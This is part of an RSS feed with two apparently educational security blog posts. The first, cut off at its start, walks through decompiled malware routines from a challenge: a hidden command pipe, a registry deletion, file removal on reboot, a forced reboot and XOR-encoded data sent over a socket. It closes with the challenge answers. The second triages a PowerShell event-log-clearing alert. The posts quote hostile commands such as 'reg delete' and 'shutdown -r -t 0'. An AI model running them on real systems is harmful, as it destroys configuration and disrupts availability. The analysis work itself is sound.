SendCommandToPipe(void)<br><br>{<br>  char cVar1;<br>  int iVar2;<br>  uint uVar3;<br>  undefined4 *puVar4;<br>  char *pcVar5;<br>  DWORD DStack_204;<br>  CHAR local_200;<br>  undefined4 local_1ff;<br>  <br>  local_200 = &#39;\0&#39;;<br>  puVar4 = &amp;local_1ff;<br>  for (iVar2 = 0x7f; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *puVar4 = 0;<br>    puVar4 = puVar4 + 1;<br>  }<br>  *(undefined2 *)puVar4 = 0;<br>  *(undefined *)((int)puVar4 + 2) = 0;<br>  WideCharToMultiByte(0,0,(LPCWSTR)&amp;stack0x0000000c,-1,&amp;local_200,0x200,(LPCSTR)0x0,(LPBOOL)0x0);<br>  uVar3 = 0xffffffff;<br>  pcVar5 = &amp;local_200;<br>  do {<br>    if (uVar3 == 0) break;<br>    uVar3 = uVar3 - 1;<br>    cVar1 = *pcVar5;<br>    pcVar5 = pcVar5 + 1;<br>  } while (cVar1 != &#39;\0&#39;);<br>  WriteFile(DAT_100031d0,&amp;local_200,~uVar3 - 1,&amp;DStack_204,(LPOVERLAPPED)0x0);<br>  return 0;<br>}</pre><p>It takes a Unicode command, switches it over to ANSI since the command prompt sitting quietly in the background only understands ANSI. Then it sends that command through a pipe, which is just a way for two programs to talk to each other behind the scenes.</p><ul><li>It wipes the buffer clean and sets everything to zero, just to make sure there’s no old data hanging around.</li><li>After that, it uses this <strong>WideCharToMultiByte</strong> function, which is basically just Windows-speak for turning Unicode (the command) into ANSI.</li><li>It checks how long the new string is, and then writes that ANSI command into the pipe handle (<strong>DAT_100031d0</strong>) using <strong>WriteFile</strong>.</li><li>At the end, it just gives back a zero, which is usually the sign that everything went smoothly.</li></ul><h3>Case 9: DeleteRegistryAndScheduleFileDeletion (FUN_10001a20) Overview:</h3><pre>undefined4 DeleteRegistryAndScheduleFileDeletion(void)<br><br>{<br>  int iVar1;<br>  char *pcVar2;<br>  CHAR *pCVar3;<br>  undefined4 *puVar4;<br>  CHAR local_64 [61];<br>  undefined4 local_27;<br>  <br>  pcVar2 = s_/c_reg_delete_HKLM\SYSTEM\Curren_10003150;<br>  pCVar3 = local_64;<br>  for (iVar1 = 0xf; iVar1 != 0; iVar1 = iVar1 + -1) {<br>    *(undefined4 *)pCVar3 = *(undefined4 *)pcVar2;<br>    pcVar2 = pcVar2 + 4;<br>    pCVar3 = pCVar3 + 4;<br>  }<br>  *pCVar3 = *pcVar2;<br>  puVar4 = &amp;local_27;<br>  for (iVar1 = 9; iVar1 != 0; iVar1 = iVar1 + -1) {<br>    *puVar4 = 0;<br>    puVar4 = puVar4 + 1;<br>  }<br>  *(undefined2 *)puVar4 = 0;<br>  *(undefined *)((int)puVar4 + 2) = 0;<br>  ShellExecuteA((HWND)0x0,&amp;DAT_10003140,s_cmd.exe_10003148,local_64,&amp;DAT_10003384,0);<br>  MoveFileExA(s_c:\Program_Files\Windows_NT\hype_10003118,(LPCSTR)0x0,4);<br>  MoveFileExA(s_c:\Program_Files\Windows_NT\htrn_100030f0,(LPCSTR)0x0,4);<br>  return 0;<br>}</pre><p>This function tries to wipe away any sign of the malware by deleting a registry key and scheduling the deletion of specific files after reboot.</p><ul><li>It puts together a command that executes via <strong>ShellExecuteA</strong>, launching <strong>cmd.exe</strong> using <strong>/c reg delete…</strong> to delete the registry <strong>HKLM\SYSTEM\CurrentControlSet\Services\6to4</strong></li><li>Next up, it uses <strong>MoveFileExA</strong> with the flag 4 (MOVEFILE_DELAY_UNTIL_REBOOT) Next up, it uses <strong>MoveFileExA</strong> with the flag 4 (MOVEFILE_DELAY_UNTIL_REBOOT). That just means it schedules a couple of files for deletion when the computer restarts, not right at that moment.</li></ul><p><strong>c:\Program Files\Windows NT\hyper.dll<br>c:\Program Files\Windows NT\htrn.dll</strong></p><p>Those are probably malware binaryes or the main pieces of the malware</p><ul><li>Once it’s set all this up, the function just returns 0 to show that everything ran successfully.</li></ul><h3><strong>Case 10: ForceImmediateReboot (FUN_10001a90) Overview:</strong></h3><pre>undefined4 ForceImmediateReboot(void)<br><br>{<br>  ShellExecuteW((HWND)0x0,u_open_100030b8,u_cmd.exe_10003190,u_/c_shutdown_-r_-t_0_100031a0,<br>                (LPCWSTR)&amp;DAT_10003388,0);<br>  return 0;<br>}</pre><p>It basically forces the system to restart right away by running the shutdown command (Maybe the idea is to trigger the cleanup actions scheduled just before , mess with system availability, or just cause general downtime, who knows)</p><ul><li>So, it uses ShellExecuteW to call up cmd.exe with these parameters:<br><strong>/c shutdown -r -t 0</strong><br>Which basically tells Windows, “Restart, right now, don’t wait, don’t bother the user with a popup.” There’s no alerts, nothing flashy, just immediate action.</li><li>Then the function finishes up by returning a zero to indicate successful execution.</li></ul><p>Just so you know, cases 7 and 8 really don’t do anything useful. They just lead to a redundant section of code, probably there to confuse anyone trying to analyze it. They don’t change how the main malware works at all. Honestly, they might just be placeholders or bits from some old thread code no one bothered to clean up. You can probably ignore them.</p><h3>XOREncryptAndSendData (FUN_10001000) Overview:</h3><pre>undefined4<br>XOREncryptAndSendData<br>          (undefined param_1,undefined param_2,undefined param_3,undefined param_4,undefined param_5<br>          ,undefined param_6,undefined param_7,undefined param_8,undefined param_9,<br>          undefined param_10,undefined param_11)<br><br>{<br>  int iVar1;<br>  int len;<br>  int iVar2;<br>  SOCKET in_stack_0000080c;<br>  <br>  iVar2 = 0;<br>  len = 0x808;<br>  iVar1 = 0;<br>  do {<br>    (&amp;param_3)[iVar1] = (&amp;param_3)[iVar1] ^ 2;<br>    iVar1 = iVar1 + 1;<br>  } while (iVar1 &lt; 0x800);<br>  do {<br>    iVar1 = send(in_stack_0000080c,&amp;param_1 + iVar2,len,0);<br>    if (iVar1 == -1) {<br>      return 0;<br>    }<br>    len = len - iVar1;<br>    iVar2 = iVar2 + iVar1;<br>  } while (0 &lt; len);<br>  return 1;<br>}</pre><p>This function takes a chunk of memory, does a simple XOR with 0x02 on every byte (nothing complicated, seriously, that’s all), and sends the result out through a socket. That’s about it.<br>Honestly, calling it “encryption” is kind of generous, but technically it fits. If you’re expecting some high-level security though, this isn’t exactly Fort Knox.</p><h4>Here’s how it goes:</h4><ul><li>First off, the code grabsa chunk of memory, <strong>2048 bytes (0x800) to be exact</strong>, starting at <strong>param_3</strong>. Then it goes through each byte, changing it by XORing with <strong>0x02</strong>. It’s just flipping it a bit, nothing fancy. This is a classic, pretty simple way to mix up data so it isn’t obvious if someone just looks at it.</li><li>After that, it sends the data over a socket (that’s stored in in_stack_0000080c), using the <strong>send</strong> function in a loop to ensure all 0x808 bytes are transmitted.</li><li>If <strong>send()</strong> call returns <strong>-1</strong> at any point, that means something went wrong and the function returns <strong>0</strong> to show it failed. If it gets through the loop and sends everything, it returns<strong> 1</strong>, so that means success.</li></ul><blockquote>This routine comes up a lot in the malware. Whenever it needs to hide stuff before exfiltration (like payloads or any collected data), it runs this same trick to give the data a small bit of obfuscation. It isn’t super advanced, but it does make the info less obvious if someone casually checks the memory or network.</blockquote><h4>Alright, let’s finish this up!</h4><p>We’ve looked through the whole analysis, mapped out the main flow, broke down the core functions, and checked out how the malware handles its operations and communication. Honestly, we’ve picked up more than enough to tackle those challenge questions with no problem.</p><p><strong>1. What is the port used by the malware?<br>Answer: </strong>80</p><p><strong>MainThreadFunction</strong> goes and grabs the port number from <strong>DAT_10003024</strong> (which is just the string <strong>“80”</strong>), converts it to an integer with <strong>_wtoi</strong>, and then uses <strong>htons</strong> to assign that to the socket address. So yeah, it ends up setting the port to 80 for the malware’s network thing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*TyVG4GNvMOl0_xT9rzh6eg.jpeg" /></figure><p><strong>2. What is the name of the protocol based on MSDN names?<br>Answer: </strong>IPPROTO_TCP</p><p>So, when you look at that <strong>socket(2, 1, 6)</strong> call, the last number, 6, is the protocol. <strong>MSDN</strong> says 6 stands for <strong>IPPROTO_TCP</strong>, so the malware is using <strong>TCP</strong> for its network communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*d9EBGC59sJ-66xpiw5p9HA.jpeg" /></figure><p><strong>3. What is the case number in the switch statement that terminates a process?<br>Answer: 2</strong></p><p>Just take a look at the switch cases and you’ll see it. Case 2 is the one handling the process termination. Nothing too complicated.</p><p><strong>4. What is the key used to encrypt the file that will be transferred to the attacker?<br>Answer: 2</strong></p><p>This is the same key they use with that XOR encryption thing I talked about earlier. It scrambles up the data right before sending it off to the attacker.</p><p><strong>5. What registry key was deleted by the malware?<br>Answer: </strong>HKLM\SYSTEM\CurrentControlSet\Services\6to4</p><p>Check case 9 explanation for details on this registry key deletion.</p><p><strong>6. What is the function that performs XOR encryption on the data in the buffer before sending it over a network socket?<br>Answer: </strong>0x10001000</p><p>The function performing XOR encryption before sending out data is located at address <strong>0x10001000</strong>, which corresponds to<strong> XOREncryptAndSendData</strong> function we looked at earlier.</p><p><strong>7. What is the first filename that was moved by the malware?<br>Answer: </strong>hyper.dll</p><p>You can check the explanation in the analysis of case 9 for more details about file operations and cleanup work.</p><p><strong>8. What is the address of the function used to restart the computer immediately?<br>Answer: </strong>0x10001A90</p><p>To answer this, just copy the address of the function handling case 10 (<strong>ForceImmediateReboot</strong>), which is <strong>0x10001A90</strong>. That’s all you need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*V6tDvmvPF7F2nVXVsb2-DA.jpeg" /></figure><p>Hope everything made sense! If I missed anything or if you want to share your thoughts, just let me know. I’m always open to learning and making things better.</p><p>See you next time! And if you have any questions, just send me a message.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6467ea8f85a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC130— EventID 64 — Event Log Cleared]]></title>
            <link>https://medium.com/@MateoPappa/soc130-eventid-64-event-log-cleared-15cf6ad85a56?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/15cf6ad85a56</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Tue, 13 May 2025 16:20:58 GMT</pubDate>
            <atom:updated>2025-05-28T02:24:21.409Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC130— EventID 64 — Event Log Cleared</h3><p>This is an unofficial guide to analyzing the <strong>SOC130 — EventID 64 — Event Log Cleared</strong></p><h3>Alert Details:</h3><pre>EventID:                  64<br>Event Time:               Feb, 21, 2021, 07:23 PM<br>Rule:                     SOC130 - Event Log Cleared<br>Level:                    Security Analyst<br>Source Address:           172.16.20.3<br>Source Hostname:          Exchange Server<br>File Name:                powershell.exe<br>File Hash:                7353f60b1739074eb17c5f4dddefe239<br>File Size:                437.50 KB<br>Device Action:            Allowed</pre><p>So… from the initial analysis of the alert details, we can see that it was triggered because the legitimate <strong>powershell.exe</strong> was used to clear the event logs. This is definitely suspicious, but let’s review the logs carefully before jumping to conclusions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6RzgGEjLI1ZRNfEgibzLFg.jpeg" /><figcaption><a href="https://www.virustotal.com/gui/file/de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c/detection">VirusTotal Results</a></figcaption></figure><h3>Log Magagement</h3><p>There are no logs of weird connections to C2 servers, nor any suspicious network activities that could indicate data exfiltration or lateral movement. So, let’s keep looking and dig deeper into the available evidence.</p><h3>EDR Logs</h3><p>After looking at the logs, I can sum up the situation like this:<br> There are no terminal, network, or browser logs relevant to the case. Also, the EDR agents on the Exchange Server seem to have taken a long vacation — there’s barely any timestamps or logs for things like network activity.<br>Not exactly helpful! 😅</p><p>The only thing I managed to salvage from the EDR logs is the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1LCmJ3Slb1XhI_nG8N3Qg.jpeg" /></figure><p>PowerShell executing on the system (no timestamp and no command), so yeah… we’re kinda screwed here too 😂</p><p>I will conclude the following from this case as we don’t have enough evidence to confirm any threat, but it’s suspicious the usage of PowerShell to clear event logs because it’s not a common action in legitimate environments, especially without a visible command. This type of behavior is often associated with attempts to cover tracks after malicious activities.</p><p>I will mark this as a false positive since, although the alert was triggered by the event log clearing on the Exchange Server, there is a complete lack of command visibility and no additional malicious indicators in the logs. This makes it impossible to confidently confirm malicious activity. However, it’s definitely something worth keeping an eye on in the future.</p><h3>PlayBook &amp; Closing The Alert</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*_S-HIH9UNarj1iF1RP2prQ.jpeg" /><figcaption>Other</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*e4FMdCElpzlXROpU7htAXA.jpeg" /><figcaption>Device action set to “Allowed”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*4P6Dj2FcMv45_SqqR-qklg.jpeg" /><figcaption>Legitimate PowerShell.exe was used</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*34DApLGl1GLccuu7w-gGIA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*PR9fL_X1Nv3K7Ckot-6Ruw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*EHDabND1nBx_pOo0S-Omog.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*Iw97xetEWHyu9XZkBNQoQA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ffz-08rUEzGMOvb3pDEicA.jpeg" /></figure><p>I mean, we got it right, but I feel kinda bad having to resolve an alert like this, with no concrete proof, just… hypotheses. <br>It’s always tough when you can’t back up your conclusions with solid evidence, but sometimes that’s just how it goes.</p><h4><strong>Possible Techniques Used (Just My Hypothesis):</strong></h4><ul><li><strong>PowerShell Fileless Attack:</strong><br>The command might have been executed entirely in memory (e.g., using Invoke-Expression, Invoke-Obfuscation), avoiding any logs being written to disk.</li><li><strong>Remote PowerShell Session:</strong><br>If a remote session was initiated (via Enter-PSSession or Invoke-Command), the command may not have been recorded in local logs.</li><li><strong>ScriptBlock Logging Disabled:</strong><br>The attacker could have disabled ScriptBlock Logging on the server to prevent capturing the execution of the script.</li><li><strong>Or… it was just a legit log clear.</strong><br>Maybe someone just wanted a fresh start on the logs, who knows? 🤷</li></ul><h4><strong>Recommended Events to Analyze (If We Had Access to the Server):</strong></h4><ul><li><strong>Event ID 4103 and 4104 (PowerShell ScriptBlock Logging):</strong><br> To identify the full command execution and gain insights into what exactly was run.</li><li><strong>Event ID 4648 (Logon with Explicit Credentials):</strong><br> To detect any potential remote sessions or abnormal logins using explicit credentials.</li><li><strong>Event ID 5140 (Shared Resource Access):</strong><br> To investigate if there was any lateral movement within the network or access to shared resources.</li><li><strong>Event ID 1102 (Audit Log Cleared):</strong><br> To check if audit logs were cleared to further conceal malicious activity.</li><li><strong>Windows Defender Events (ID 1116, 1150, 1151):</strong><br> For possible detections of suspicious activities related to the attack.</li></ul><h3>Analyst note:</h3><p>An alert was triggered on Feb 21, 2021, at 07:23 PM because the Event Log of the Exchange Server was cleared using PowerShell.<br>There is no command specified in the logs, and after deeply analyzing the EDR and network logs, there were no connections or abnormal behaviors related to that PowerShell execution.</p><p>Why is it suspicious?<br>Clearing event logs on a critical server like an Exchange Server is an action that, in legitimate environments, should almost never be performed without a justified reason — and even less so without a visible command. This could indicate an attempt to cover up malicious activity.</p><p>Conclusion:<br>False Positive — Although the alert was triggered due to the log clearing on the Exchange Server, the lack of command visibility and absence of additional malicious indicators in the logs suggests that there is not enough evidence to confirm malicious activity.<br>However, due to the suspicious nature of event log clearing, a Tier 2 escalation is recommended to perform an exhaustive review directly on the Exchange Server. This should include:<br>‣ Verifying local event logs (especially Security and Application logs).<br>‣ Checking for disabled logging mechanisms (e.g., ScriptBlock Logging).<br>‣ Analyzing PowerShell Transcription Logs if available.</p><p>If this further investigation finds evidence of tampering or hidden commands, the status of the alert should be revisited accordingly.</p><blockquote>If you’re new to this, don’t just copy the note — try making your own! Practice makes perfect.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15cf6ad85a56" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>